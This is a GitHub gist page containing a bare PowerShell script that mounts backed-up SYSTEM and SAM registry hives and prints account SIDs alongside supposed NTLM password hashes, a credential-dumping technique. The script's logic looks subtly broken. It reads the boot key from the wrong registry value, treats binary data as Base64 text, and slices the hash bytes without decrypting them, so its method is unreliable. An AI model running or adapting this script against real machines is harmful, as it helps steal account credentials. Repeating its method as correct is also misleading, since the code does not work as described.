Skip to content

Instantly share code, notes, and snippets.

@annibuliful
Last active July 30, 2024 06:06
Show Gist options
  • Save annibuliful/2b1e006e1744f935f1d87c9335ce7273 to your computer and use it in GitHub Desktop.
Save annibuliful/2b1e006e1744f935f1d87c9335ce7273 to your computer and use it in GitHub Desktop.
# Load the SYSTEM hive
reg load HKLM\TEMP_SYSTEM C:\Backup\system
# Load the SAM hive
reg load HKLM\TEMP_SAM C:\Backup\sam
# Get the Boot Key from the SYSTEM hive
$BootKey = ""
$SystemKey = "HKLM:\TEMP_SYSTEM\ControlSet001\Control\Lsa"
$SelectKey = Get-ItemProperty -Path $SystemKey
foreach ($key in $SelectKey.Select) {
$BootKey += $key
}
$BootKey = $BootKey.ToCharArray() -join ""
# Get the NTLM hashes from the SAM hive
$SamKey = "HKLM:\TEMP_SAM\SAM\Domains\Account\Users"
Get-ChildItem -Path $SamKey | ForEach-Object {
$SID = $_.PSChildName
$V = Get-ItemProperty -Path "$SamKey\$SID"
if ($V -match "V: (.+)") {
$V = $Matches[1]
$VBytes = [Convert]::FromBase64String($V)
# Extract the NTLM hash from the V bytes
$NTLMHash = [BitConverter]::ToString($VBytes[12..27]).Replace("-", "")
# Output the SID and NTLM hash
Write-Output "$SID : $NTLMHash"
}
}
# Unload the hives
reg unload HKLM\TEMP_SYSTEM
reg unload HKLM\TEMP_SAM
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment